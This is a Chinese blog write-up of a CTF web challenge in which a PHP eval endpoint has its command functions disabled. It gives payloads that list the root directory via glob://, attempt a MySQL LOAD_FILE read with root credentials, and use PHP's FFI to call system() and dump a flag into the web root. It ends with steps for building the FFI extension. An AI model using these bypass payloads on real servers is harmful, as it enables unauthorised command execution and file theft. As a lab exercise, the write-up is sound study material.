前言
今天,在做一道命令执行的题目时,发现了一个php版本7.4(包含php7.4)以上的一个默认安装扩展,可以执行系统命令。即FFI
(Foreign Function Interface)即外部函数接口。https://www.php.net/manual/zh/ffi.cdef.php
解题
题目源码是这样的:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c); // eval执行参数c的值
$s = ob_get_contents(); // 返回缓冲区的内容
ob_end_clean(); # 清空(擦除)缓冲区并关闭输出缓冲 此时eval()执行的结果就被清空了
echo preg_replace("/[0-9]|[a-z]/i","?",$s); # 将所有字母和数字替换为?
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
看似没有过滤任何的参数。但其实,禁用了很多函数、命令执行全系列函数、scandir()
、highlight()
、show_source()
等等。这是ctfshow平台的web入门命令执行第77道题。题目链接: https://ctf.show/challenges
下面附上我对题目的解析:
构造payload获取目录: 利用`glob://`伪协议。
c=
$a = new DirectoryIterator('glob:///*');
foreach($a as $f){
echo $f . ' ';
};
exit();
运行结果:

可以发现根目录下存在falg46.txt
以及readflag
两个特殊文件。
先使用mysql的load_file()
函数读取flag46.txt
文件。
c=$host = 'mysql:host=localhost;dbname=mysql';
$dbuser = 'root';
$dbpass = 'root';
try{
$conn = new PDO($host,$dbuser,$dbpass);
foreach($conn->query('SELECT LOAD_FILE("/flag46.txt")') as $row){
echo $row[0];
}
}catch(PDOException $e){
echo $e->getMessage();
exit();
};
exit();

文件返回内容如上。似乎在提示我们文件找不到驱动器。也就是说flag
不再硬盘里面?
最后发现readflag是一个可执行文件。执行的结果为flag
内容,利用方法如下:
在php7.4中提供了一个新的命令执行接口,即FFI
(Foreign Function Interface)即外部函数接口
FFI
只会执行命令,不会返回对应的命令执行结果。
<?php
$ffi=FFI::cdef("int system(const char *command);");
$a='touch 123.txt'; // 执行的命令
echo $ffi->system($a);
?>
构造payload:
c=$ffi=FFI::cdef("int system(const char *command);");
$a='/readflag > /var/www/html/a.txt'; // 将运行/readflag程序 将输出内容重定向到网站根目录的a.txt
$ffi->system($a);
因为readflag是一个可执行程序。所以运行了会有对应的结果输出。
此时网站根目录下就会生成a.txt
,即flag
内容。直接访问a.txt
即可。
FFI扩展的安装
如果你使用的是宝塔、以及MAMP等集成开发环境的PHP。那么PHP7.4以上是没有FFI扩展的。需要手动编译`php7.4`以上版本进行安装。
直接下载一个php源码:https://www.php.net/distributions/php-7.4.27.tar.gz
或者进入到下载页面自行挑选下载: https://www.php.net/downloads.php
wget https://www.php.net/distributions/php-7.4.27.tar.gz
tar -zxvf php-7.4.27.tar.gz
cd php-7.4.27/ext/ffi
phpize
./configure --with-php-config=/www/server/php/74/bin/php-config
make
make && make install
运行完以上命令之后,就会将ffi.so访问你的扩展目录。

之后再php.ini中添加配置即可:
ffi.enable=true
extension = "ffi.so"

之后重启PHP程序即可。
本文作者为blog,转载请注明。